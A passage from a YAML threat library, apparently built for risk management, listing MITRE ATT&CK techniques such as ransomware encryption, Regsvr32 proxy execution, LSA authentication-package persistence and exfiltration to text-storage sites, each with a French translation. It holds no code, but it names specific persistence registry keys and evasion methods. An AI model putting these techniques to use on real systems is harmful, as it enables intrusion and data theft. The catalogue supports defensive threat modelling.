          \ le trafic normalement interdit au-del\xE0 de la limite de confiance entre\
          \ les deux r\xE9seaux s\xE9par\xE9s sans entrave.  En obtenant suffisamment\
          \ de droits sur l\u2019appareil, un adversaire peut reconfigurer l\u2019\
          appareil pour autoriser le trafic qu\u2019il souhaite, ce qui lui permet\
          \ ensuite d\u2019atteindre des objectifs tels que la commande et le contr\xF4\
          le via [Proxy multi-sauts](https://attack.mitre.org/techniques/T1090/003)\
          \ ou l\u2019exfiltration de donn\xE9es via [Duplication de trafic](https://attack.mitre.org/techniques/T1020/001).\
          \ Les adversaires peuvent \xE9galement cibler les appareils internes responsables\
          \ de la segmentation du r\xE9seau et les abuser en conjonction avec le [Proxy\
          \ interne](https://attack.mitre.org/techniques/T1090/001) pour atteindre\
          \ les m\xEAmes objectifs. (Citation : Kaspersky ThreatNeedle f\xE9vrier\
          \ 2021)  Dans les cas o\xF9 un dispositif frontalier s\xE9pare deux organisations\
          \ distinctes, l\u2019adversaire peut \xE9galement faciliter les mouvements\
          \ lat\xE9raux vers de nouveaux environnements de victime.\nhttps://attack.mitre.org/techniques/T1599"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1486
    ref_id: T1486
    name: Data Encrypted for Impact
    description: "Adversaries may encrypt data on target systems or on large numbers\
      \ of systems in a network to interrupt availability to system and network resources.\
      \ They can attempt to render stored data inaccessible by encrypting files or\
      \ data on local and remote drives and withholding access to a decryption key.\
      \ This may be done in order to extract monetary compensation from a victim in\
      \ exchange for decryption or a decryption key (ransomware) or to render data\
      \ permanently inaccessible in cases where the key is not saved or transmitted.(Citation:\
      \ US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT\
      \ NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware,\
      \ it is typical that common user files like Office documents, PDFs, images,\
      \ videos, audio, text, and source code files will be encrypted (and often renamed\
      \ and/or tagged with specific file markers). Adversaries may need to first employ\
      \ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222)\
      \ or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in\
      \ order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack\
      \ Conti July 2020) In some cases, adversaries may encrypt critical system files,\
      \ disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize\
      \ impact on the target organization, malware designed for encrypting data may\
      \ have worm-like features to propagate across a network by leveraging other\
      \ attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),\
      \ [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows\
      \ Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye\
      \ WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also\
      \ leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001),\
      \ such as changing victim wallpapers, or otherwise intimidate victims by sending\
      \ ransom notes or other messages to connected printers (known as \"print bombing\"\
      ).(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage\
      \ objects within compromised accounts may also be encrypted.(Citation: Rhino\
      \ S3 Ransomware Part 1)\nhttps://attack.mitre.org/techniques/T1486"
    translations:
      fr:
        name: "Donn\xE9es chiffr\xE9es pour l\u2019impact"
        description: "Les adversaires peuvent chiffrer les donn\xE9es sur les syst\xE8\
          mes cibles ou sur un grand nombre de syst\xE8mes d\u2019un r\xE9seau pour\
          \ interrompre la disponibilit\xE9 des ressources du syst\xE8me et du r\xE9\
          seau. Ils peuvent tenter de rendre les donn\xE9es stock\xE9es inaccessibles\
          \ en chiffrant des fichiers ou des donn\xE9es sur des disques locaux et\
          \ distants et en retenant l\u2019acc\xE8s \xE0 une cl\xE9 de d\xE9chiffrement.\
          \ Cela peut \xEAtre fait dans le but d\u2019obtenir une compensation mon\xE9\
          taire d\u2019une victime en \xE9change d\u2019un d\xE9chiffrement ou d\u2019\
          une cl\xE9 de d\xE9chiffrement (ransomware) ou de rendre des donn\xE9es\
          \ inaccessibles de mani\xE8re permanente dans les cas o\xF9 la cl\xE9 n\u2019\
          est pas sauvegard\xE9e ou transmise. (R\xE9f\xE9rence : US-CERT Ransomware\
          \ 2016)(Citation : FireEye WannaCry 2017)(Citation : US-CERT NotPetya 2017)(Citation\
          \ : US-CERT SamSam 2018)\n\nDans le cas d\u2019un ransomware, il est courant\
          \ que les fichiers utilisateur courants tels que les documents Office, les\
          \ PDF, les images, les vid\xE9os, l\u2019audio, le texte et les fichiers\
          \ de code source soient chiffr\xE9s (et souvent renomm\xE9s et/ou \xE9tiquet\xE9\
          s avec des marqueurs de fichier sp\xE9cifiques). Les adversaires peuvent\
          \ avoir besoin d\u2019employer d\u2019abord d\u2019autres comportements,\
          \ tels que [Modification des autorisations de fichiers et de r\xE9pertoires](https://attack.mitre.org/techniques/T1222)\
          \ ou [Arr\xEAt/Red\xE9marrage du syst\xE8me](https://attack.mitre.org/techniques/T1529),\
          \ afin de d\xE9verrouiller et/ou d\u2019acc\xE9der \xE0 ces fichiers pour\
          \ les manipuler. (R\xE9f\xE9rence : CarbonBlack Conti, juillet 2020) Dans\
          \ certains cas, les adversaires peuvent chiffrer des fichiers syst\xE8me\
          \ critiques, des partitions de disque et le MBR. (Citation : US-CERT NotPetya\
          \ 2017) \n\nPour maximiser l\u2019impact sur l\u2019organisation cible,\
          \ les programmes malveillants con\xE7us pour chiffrer les donn\xE9es peuvent\
          \ disposer de fonctionnalit\xE9s similaires \xE0 celles d\u2019un ver pour\
          \ se propager sur un r\xE9seau en exploitant d\u2019autres techniques d\u2019\
          attaque telles que [Comptes valides](https://attack.mitre.org/techniques/T1078),\
          \ [Vidage des informations d\u2019identification du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ et [Partages SMB/Windows Admin](https://attack.mitre.org/techniques/T1021/002).\
          \ (Citation : FireEye WannaCry 2017)(Citation : US-CERT NotPetya 2017) Les\
          \ logiciels malveillants de chiffrement peuvent \xE9galement exploiter la\
          \ [d\xE9gradation interne](https://attack.mitre.org/techniques/T1491/001),\
          \ par exemple en changeant les fonds d\u2019\xE9cran des victimes, ou intimider\
          \ les victimes en envoyant des notes de ran\xE7on ou d\u2019autres messages\
          \ aux imprimantes connect\xE9es (ce que l\u2019on appelle le \xAB bombardement\
          \ d\u2019impression \xBB). (Citation : NHS Digital Egregor novembre 2020)\n\
          \nDans les environnements cloud, les objets de stockage des comptes compromis\
          \ peuvent \xE9galement \xEAtre chiffr\xE9s. (Citation : Rhino S3 Ransomware\
          \ Partie 1)\nhttps://attack.mitre.org/techniques/T1486"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553
    ref_id: T1553
    name: Subvert Trust Controls
    description: 'Adversaries may undermine security controls that will either warn
      users of untrusted activity or prevent execution of untrusted programs. Operating
      systems and security products may contain mechanisms to identify programs or
      websites as possessing some level of trust. Examples of such features would
      include a program being allowed to run because it is signed by a valid code
      signing certificate, a program prompting the user with a warning because it
      has an attribute set from being downloaded from the Internet, or getting an
      indication that you are about to connect to an untrusted site.


      Adversaries may attempt to subvert these trust mechanisms. The method adversaries
      use will depend on the specific mechanism they seek to subvert. Adversaries
      may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222)
      or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of
      subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017)
      Adversaries may also create or steal code signing certificates to acquire trust
      on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec
      Digital Certificates)

      https://attack.mitre.org/techniques/T1553'
    translations:
      fr:
        name: "Subvertir les contr\xF4les de confiance"
        description: "Les adversaires peuvent saper les contr\xF4les de s\xE9curit\xE9\
          \ qui avertissent les utilisateurs des activit\xE9s non fiables ou emp\xEA\
          chent l\u2019ex\xE9cution de programmes non fiables. Les syst\xE8mes d\u2019\
          exploitation et les produits de s\xE9curit\xE9 peuvent contenir des m\xE9\
          canismes permettant d\u2019identifier les programmes ou les sites Web comme\
          \ poss\xE9dant un certain niveau de confiance. Par exemple, un programme\
          \ autoris\xE9 \xE0 s\u2019ex\xE9cuter parce qu\u2019il est sign\xE9 par\
          \ un certificat de signature de code valide, un programme qui invite l\u2019\
          utilisateur \xE0 \xE9mettre un avertissement parce qu\u2019il a un attribut\
          \ d\xE9fini pour ne pas \xEAtre t\xE9l\xE9charg\xE9 \xE0 partir d\u2019\
          Internet, ou qui re\xE7oit une indication que vous \xEAtes sur le point\
          \ de vous connecter \xE0 un site non approuv\xE9.\n\nLes adversaires peuvent\
          \ tenter de subvertir ces m\xE9canismes de confiance. La m\xE9thode utilis\xE9\
          e par les adversaires d\xE9pendra du m\xE9canisme sp\xE9cifique qu\u2019\
          ils cherchent \xE0 subvertir. Les adversaires peuvent effectuer [Modification\
          \ des autorisations de fichiers et de r\xE9pertoires](https://attack.mitre.org/techniques/T1222)\
          \ ou [Modifier le registre](https://attack.mitre.org/techniques/T1112) pour\
          \ contourner ces contr\xF4les. (Citation : SpectorOps Subverting Trust septembre\
          \ 2017) Les adversaires peuvent \xE9galement cr\xE9er ou voler des certificats\
          \ de signature de code pour acqu\xE9rir la confiance des syst\xE8mes cibles.\
          \ (Citation : Securelist Digital Certificates)(Citation : Symantec Digital\
          \ Certificates)\nhttps://attack.mitre.org/techniques/T1553"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548.004
    ref_id: T1548.004
    name: Elevated Execution with Prompt
    description: "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code>\
      \ API to escalate privileges by prompting the user for credentials.(Citation:\
      \ AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to\
      \ give application developers an easy way to perform operations with root privileges,\
      \ such as for application installation or updating. This API does not validate\
      \ that the program requesting root privileges comes from a reputable source\
      \ or has been maliciously modified. \n\nAlthough this API is deprecated, it\
      \ still fully functions in the latest releases of macOS. When calling this API,\
      \ the user will be prompted to enter their credentials but no checks on the\
      \ origin or integrity of the program are made. The program calling the API may\
      \ also load world writable files which can be modified to perform malicious\
      \ behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code>\
      \ to obtain root privileges in order to install malicious software on victims\
      \ and install persistence mechanisms.(Citation: Death by 1000 installers; it's\
      \ all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot\
      \ RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036)\
      \ to trick the user into granting escalated privileges to malicious code.(Citation:\
      \ Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer\
      \ Feb 2019) This technique has also been shown to work by modifying legitimate\
      \ programs present on the machine that make use of this API.(Citation: Death\
      \ by 1000 installers; it's all broken!)\nhttps://attack.mitre.org/techniques/T1548/004"
    translations:
      fr:
        name: "Ex\xE9cution \xE9lev\xE9e avec invite"
        description: "Les adversaires peuvent tirer parti de l\u2019API <code>AuthorizationExecuteWithPrivileges</code>\
          \ pour \xE9lever les privil\xE8ges en demandant \xE0 l\u2019utilisateur\
          \ de fournir des informations d\u2019identification. (Citation : AppleDocs\
          \ AuthorizationExecuteWithPrivileges) L\u2019objectif de cette API est de\
          \ fournir aux d\xE9veloppeurs d\u2019applications un moyen simple d\u2019\
          effectuer des op\xE9rations avec des privil\xE8ges root, par exemple pour\
          \ l\u2019installation ou la mise \xE0 jour d\u2019applications. Cette API\
          \ ne v\xE9rifie pas que le programme demandant les privil\xE8ges root provient\
          \ d\u2019une source fiable ou qu\u2019il a \xE9t\xE9 modifi\xE9 de mani\xE8\
          re malveillante. \n\nBien que cette API soit obsol\xE8te, elle fonctionne\
          \ toujours enti\xE8rement dans les derni\xE8res versions de macOS. Lors\
          \ de l\u2019appel de cette API, l\u2019utilisateur sera invit\xE9 \xE0 entrer\
          \ ses informations d\u2019identification, mais aucune v\xE9rification de\
          \ l\u2019origine ou de l\u2019int\xE9grit\xE9 du programme n\u2019est effectu\xE9\
          e. Le programme qui appelle l\u2019API peut \xE9galement charger des fichiers\
          \ accessibles en \xE9criture dans le monde entier qui peuvent \xEAtre modifi\xE9\
          s pour effectuer un comportement malveillant avec des privil\xE8ges \xE9\
          lev\xE9s.\n\nLes adversaires peuvent abuser <code>de AuthorizationExecuteWithPrivileges</code>\
          \ pour obtenir des privil\xE8ges root afin d\u2019installer des logiciels\
          \ malveillants sur les victimes et d\u2019installer des m\xE9canismes de\
          \ persistance. (Citation : Mort par 1000 installateurs ; tout est cass\xE9\
          \ !)(Citation : Carbon Black Shlayer f\xE9vrier 2019)(Citation : OSX Coldroot\
          \ RAT) Cette technique peut \xEAtre combin\xE9e avec le [Mascarade](https://attack.mitre.org/techniques/T1036)\
          \ pour inciter l\u2019utilisateur \xE0 accorder des privil\xE8ges \xE9lev\xE9\
          s \xE0 un code malveillant. (Citation : Mort par 1000 installateurs ; tout\
          \ est cass\xE9 !)(Citation : Carbon Black Shlayer f\xE9vrier 2019) Il a\
          \ \xE9galement \xE9t\xE9 d\xE9montr\xE9 que cette technique fonctionne en\
          \ modifiant les programmes l\xE9gitimes pr\xE9sents sur la machine qui utilisent\
          \ cette API. (Citation : Mort par 1000 installateurs ; tout est cass\xE9\
          \ !)\nhttps://attack.mitre.org/techniques/T1548/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1592.003
    ref_id: T1592.003
    name: Firmware
    description: 'Adversaries may gather information about the victim''s host firmware
      that can be used during targeting. Information about host firmware may include
      a variety of details such as type and versions on specific hosts, which may
      be used to infer more information about hosts in the environment (ex: configuration,
      purpose, age/patch level, etc.).


      Adversaries may gather this information in various ways, such as direct elicitation
      via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information
      about host firmware may only be exposed to adversaries via online or other accessible
      data sets (ex: job postings, network maps, assessment reports, resumes, or purchase
      invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal
      opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)
      or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).

      https://attack.mitre.org/techniques/T1592/003'
    translations:
      fr:
        name: Microprogramme
        description: "Les adversaires peuvent recueillir des informations sur le microprogramme\
          \ de l\u2019h\xF4te de la victime qui peuvent \xEAtre utilis\xE9es lors\
          \ du ciblage. Les informations sur le microprogramme de l\u2019h\xF4te peuvent\
          \ inclure divers d\xE9tails, tels que le type et les versions d\u2019h\xF4\
          tes sp\xE9cifiques, qui peuvent \xEAtre utilis\xE9s pour d\xE9duire plus\
          \ d\u2019informations sur les h\xF4tes de l\u2019environnement (par exemple\
          \ : configuration, objectif, \xE2ge/niveau de correctif, etc.).\n\nLes adversaires\
          \ peuvent recueillir ces informations de diff\xE9rentes mani\xE8res, par\
          \ exemple par le biais de l\u2019hame\xE7onnage par le biais de [Phishing\
          \ for Information](https://attack.mitre.org/techniques/T1598). Les informations\
          \ sur le micrologiciel de l\u2019h\xF4te ne peuvent \xEAtre expos\xE9es\
          \ \xE0 des adversaires que par le biais d\u2019un ensemble de donn\xE9es\
          \ en ligne ou d\u2019autres ensembles de donn\xE9es accessibles (par exemple,\
          \ des offres d\u2019emploi, des cartes de r\xE9seau, des rapports d\u2019\
          \xE9valuation, des CV ou des factures d\u2019achat). (Citation : ArsTechnica\
          \ Intel) La collecte de ces informations peut r\xE9v\xE9ler des possibilit\xE9\
          s pour d\u2019autres formes de reconnaissance (ex : [Recherche de sites\
          \ Web/domaines ouverts](https://attack.mitre.org/techniques/T1593) ou [Recherche\
          \ de bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Cha\xEEne d\u2019approvisionnement\
          \ Compromis](https://attack.mitre.org/techniques/T1195) ou [Exploiter une\
          \ application publique](https://attack.mitre.org/techniques/T1190)).\nhttps://attack.mitre.org/techniques/T1592/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1573
    ref_id: T1573
    name: Encrypted Channel
    description: 'Adversaries may employ an encryption algorithm to conceal command
      and control traffic rather than relying on any inherent protections provided
      by a communication protocol. Despite the use of a secure algorithm, these implementations
      may be vulnerable to reverse engineering if secret keys are encoded and/or generated
      within malware samples/configuration files.

      https://attack.mitre.org/techniques/T1573'
    translations:
      fr:
        name: "Canal crypt\xE9"
        description: "Les adversaires peuvent utiliser un algorithme de chiffrement\
          \ pour dissimuler le trafic de commande et de contr\xF4le plut\xF4t que\
          \ de s\u2019appuyer sur les protections inh\xE9rentes fournies par un protocole\
          \ de communication. Malgr\xE9 l\u2019utilisation d\u2019un algorithme s\xE9\
          curis\xE9, ces impl\xE9mentations peuvent \xEAtre vuln\xE9rables \xE0 l\u2019\
          ing\xE9nierie inverse si les cl\xE9s secr\xE8tes sont cod\xE9es et/ou g\xE9\
          n\xE9r\xE9es dans des \xE9chantillons de logiciels malveillants/fichiers\
          \ de configuration.\nhttps://attack.mitre.org/techniques/T1573"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.002
    ref_id: T1547.002
    name: Authentication Package
    description: 'Adversaries may abuse authentication packages to execute DLLs when
      the system boots. Windows authentication package DLLs are loaded by the Local
      Security Authority (LSA) process at system start. They provide support for multiple
      logon processes and multiple security protocols to the operating system.(Citation:
      MSDN Authentication Packages)


      Adversaries can use the autostart mechanism provided by LSA authentication packages
      for persistence by placing a reference to a binary in the Windows Registry location
      <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of
      <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will
      then be executed by the system when the authentication packages are loaded.

      https://attack.mitre.org/techniques/T1547/002'
    translations:
      fr:
        name: "Package d\u2019authentification"
        description: "Les adversaires peuvent abuser des packages d\u2019authentification\
          \ pour ex\xE9cuter des DLL au d\xE9marrage du syst\xE8me. Les DLL du package\
          \ d\u2019authentification Windows sont charg\xE9es par le processus LSA\
          \ (Local Security Authority) au d\xE9marrage du syst\xE8me. Ils prennent\
          \ en charge plusieurs processus d\u2019ouverture de session et plusieurs\
          \ protocoles de s\xE9curit\xE9 pour le syst\xE8me d\u2019exploitation. (Citation\
          \ : Packages d\u2019authentification MSDN)\n\nLes adversaires peuvent utiliser\
          \ le m\xE9canisme de d\xE9marrage automatique fourni par les packages d\u2019\
          authentification LSA pour la persistance en pla\xE7ant une r\xE9f\xE9rence\
          \ \xE0 un fichier binaire dans l\u2019emplacement du registre Windows <code>HKLM\\\
          SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> avec la valeur de cl\xE9\
          \ <code>\xAB\_Authentication Packages\"=&lt;target binary&gt;</code>. Le\
          \ binaire sera alors ex\xE9cut\xE9 par le syst\xE8me lors du chargement\
          \ des packages d\u2019authentification.\nhttps://attack.mitre.org/techniques/T1547/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.010
    ref_id: T1218.010
    name: Regsvr32
    description: 'Adversaries may abuse Regsvr32.exe to proxy execution of malicious
      code. Regsvr32.exe is a command-line program used to register and unregister
      object linking and embedding controls, including dynamic link libraries (DLLs),
      on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
      (Citation: Microsoft Regsvr32)


      Malicious usage of Regsvr32.exe may avoid triggering security tools that may
      not monitor execution of, and modules loaded by, the regsvr32.exe process because
      of allowlists or false positives from Windows using regsvr32.exe for normal
      operations. Regsvr32.exe can also be used to specifically bypass application
      control using functionality to load COM scriptlets to execute DLLs under user
      permissions. Since Regsvr32.exe is network and proxy aware, the scripts can
      be loaded by passing a uniform resource locator (URL) to file on an external
      Web server as an argument during invocation. This method makes no changes to
      the Registry as the COM object is not actually registered, only executed. (Citation:
      LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo"
      and has been used in campaigns targeting governments. (Citation: Carbon Black
      Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)


      Regsvr32.exe can also be leveraged to register a COM Object used to establish
      persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).
      (Citation: Carbon Black Squiblydoo Apr 2016)

      https://attack.mitre.org/techniques/T1218/010'
    translations:
      fr:
        name: "R\xE9gsvr32"
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution Regsvr32.exe\
          \ proxy de code malveillant. Regsvr32.exe est un programme de ligne de commande\
          \ utilis\xE9 pour enregistrer et annuler l\u2019enregistrement des contr\xF4\
          les de liaison et d\u2019incorporation d\u2019objets, y compris les biblioth\xE8\
          ques de liens dynamiques (DLL), sur les syst\xE8mes Windows. Le binaire\
          \ Regsvr32.exe peut \xE9galement \xEAtre sign\xE9 par Microsoft. (R\xE9\
          f\xE9rence : Microsoft Regsvr32)\n\nL\u2019utilisation malveillante de Regsvr32.exe\
          \ peut \xE9viter de d\xE9clencher des outils de s\xE9curit\xE9 qui peuvent\
          \ ne pas surveiller l\u2019ex\xE9cution et le chargement des modules par\
          \ le processus regsvr32.exe en raison de listes d\u2019autorisation ou de\
          \ faux positifs de Windows utilisant regsvr32.exe pour des op\xE9rations\
          \ normales. Regsvr32.exe peut \xE9galement \xEAtre utilis\xE9 pour contourner\
          \ sp\xE9cifiquement le contr\xF4le des applications \xE0 l\u2019aide de\
          \ la fonctionnalit\xE9 de chargement de scriptlets COM pour ex\xE9cuter\
          \ des DLL sous les autorisations de l\u2019utilisateur. \xC9tant donn\xE9\
          \ que Regsvr32.exe prend en charge le r\xE9seau et le proxy, les scripts\
          \ peuvent \xEAtre charg\xE9s en passant un localisateur de ressources uniforme\
          \ (URL) \xE0 un fichier sur un serveur Web externe en tant qu\u2019argument\
          \ lors de l\u2019appel. Cette m\xE9thode n\u2019apporte aucune modification\
          \ au registre, car l\u2019objet COM n\u2019est pas r\xE9ellement enregistr\xE9\
          , mais seulement ex\xE9cut\xE9. (R\xE9f\xE9rence : LOLBAS Regsvr32) Cette\
          \ variante de la technique est souvent appel\xE9e \xAB Squiblydoo \xBB et\
          \ a \xE9t\xE9 utilis\xE9e dans des campagnes ciblant les gouvernements.\
          \ (Citation : Noir de carbone Squiblydoo avril 2016) (Citation : FireEye\
          \ Regsvr32 ciblant le gouvernement mongol)\n\nRegsvr32.exe peut \xE9galement\
          \ \xEAtre utilis\xE9 pour enregistrer un objet COM utilis\xE9 pour \xE9\
          tablir la persistance via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015).\
          \ (Citation : Noir de carbone Squiblydoo avril 2016)\nhttps://attack.mitre.org/techniques/T1218/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1567.003
    ref_id: T1567.003
    name: Exfiltration to Text Storage Sites
    description: "Adversaries may exfiltrate data to text storage sites instead of\
      \ their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>,\
      \ are commonly used by developers to share code and other information.  \n\n\
      Text storage sites are often used to host malicious code for C2 communication\
      \ (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but\
      \ adversaries may also use these sites to exfiltrate collected data. Furthermore,\
      \ paid features and encryption options may allow adversaries to conceal and\
      \ store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is\
      \ distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001),\
      \ which highlight access to code repositories via APIs.\nhttps://attack.mitre.org/techniques/T1567/003"
    translations:
      fr:
        name: Exfiltration vers des sites de stockage de texte
        description: "Les adversaires peuvent exfiltrer des donn\xE9es vers des sites\
          \ de stockage de texte au lieu de leur canal de commande et de contr\xF4\
          le principal. Les sites de stockage de texte, tels que <code>pastebin[.]com</code>,\
          \ sont couramment utilis\xE9s par les d\xE9veloppeurs pour partager du code\
          \ et d\u2019autres informations.  \n\nLes sites de stockage de texte sont\
          \ souvent utilis\xE9s pour h\xE9berger du code malveillant pour la communication\
          \ C2 (par exemple, [Stage Capabilities](https://attack.mitre.org/techniques/T1608)),\
          \ mais les adversaires peuvent \xE9galement utiliser ces sites pour exfiltrer\
          \ les donn\xE9es collect\xE9es. De plus, les fonctionnalit\xE9s payantes\
          \ et les options de cryptage peuvent permettre aux adversaires de dissimuler\
          \ et de stocker des donn\xE9es de mani\xE8re plus s\xE9curis\xE9e. (Citation\
          \ : Pastebin EchoSec)\n\n**Remarque :** Ceci est distinct de [Exfiltration\
          \ vers le d\xE9p\xF4t de code](https://attack.mitre.org/techniques/T1567/001),\
          \ qui met en \xE9vidence l\u2019acc\xE8s aux d\xE9p\xF4ts de code via des\
          \ API.\nhttps://attack.mitre.org/techniques/T1567/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1592.002
    ref_id: T1592.002
    name: Software
    description: 'Adversaries may gather information about the victim''s host software
      that can be used during targeting. Information about installed software may
      include a variety of details such as types and versions on specific hosts, as
      well as the presence of additional components that might be indicative of added
      defensive protections (ex: antivirus, SIEMs, etc.).


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex:
      listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).
      Adversaries may also compromise sites then include malicious content designed
      to collect host information from visitors.(Citation: ATT ScanBox) Information
      about the installed software may also be exposed to adversaries via online or
      other accessible data sets (ex: job postings, network maps, assessment reports,
      resumes, or purchase invoices). Gathering this information may reveal opportunities
      for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)
      or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1592/002'
    translations:
      fr:
        name: Logiciel
        description: "Les adversaires peuvent recueillir des informations sur le logiciel\
          \ h\xF4te de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ Les informations sur les logiciels install\xE9s peuvent inclure divers\
          \ d\xE9tails tels que les types et les versions sur des h\xF4tes sp\xE9\
          cifiques, ainsi que la pr\xE9sence de composants suppl\xE9mentaires qui\
          \ peuvent indiquer des protections d\xE9fensives suppl\xE9mentaires (par\
          \ exemple, antivirus, SIEM, etc.).\n\nLes adversaires peuvent collecter\
          \ ces informations de diff\xE9rentes mani\xE8res, par exemple par le biais\
          \ d\u2019actions de collecte directes via [Analyse active](https://attack.mitre.org/techniques/T1595)\
          \ (par exemple, ports d\u2019\xE9coute, banni\xE8res de serveur, cha\xEE\
          nes d\u2019agent utilisateur) ou [Hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les adversaires peuvent \xE9galement compromettre les sites et inclure\
          \ du contenu malveillant con\xE7u pour collecter des informations sur l\u2019\
          h\xF4te aupr\xE8s des visiteurs. (Citation : ATT ScanBox) Les informations\
          \ relatives au logiciel install\xE9 peuvent \xE9galement \xEAtre expos\xE9\
          es \xE0 des adversaires via des ensembles de donn\xE9es en ligne ou d\u2019\
          autres ensembles de donn\xE9es accessibles (par exemple, des offres d\u2019\
          emploi, des cartes de r\xE9seau, des rapports d\u2019\xE9valuation, des\
          \ CV ou des factures d\u2019achat). La collecte de ces informations peut\
          \ r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Recherche de bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou pour un acc\xE8s initial (ex : [Cha\xEEne d\u2019approvisionnement\
          \ compromis](https://attack.mitre.org/techniques/T1195) ou [services \xE0\
          \ distance externes](https://attack.mitre.org/techniques/T1133)).\nhttps://attack.mitre.org/techniques/T1592/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1056
    ref_id: T1056
    name: Input Capture
    description: 'Adversaries may use methods of capturing user input to obtain credentials
      or collect information. During normal system usage, users often provide credentials
      to various different locations, such as login pages/portals or system dialog
      boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
      API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
      the user into providing input into what they believe to be a genuine service
      (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).

      https://attack.mitre.org/techniques/T1056'
    translations:
      fr:
        name: "Capture d\u2019entr\xE9e"
        description: "Les adversaires peuvent utiliser des m\xE9thodes de capture\
          \ des entr\xE9es de l\u2019utilisateur pour obtenir des informations d\u2019\
          identification ou collecter des informations. Lors d\u2019une utilisation\
          \ normale du syst\xE8me, les utilisateurs fournissent souvent des informations\
          \ d\u2019identification \xE0 diff\xE9rents emplacements, tels que des pages/portails\
          \ de connexion ou des bo\xEEtes de dialogue syst\xE8me. Les m\xE9canismes\
          \ de capture d\u2019entr\xE9e peuvent \xEAtre transparents pour l\u2019\
          utilisateur (par exemple, [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004))\
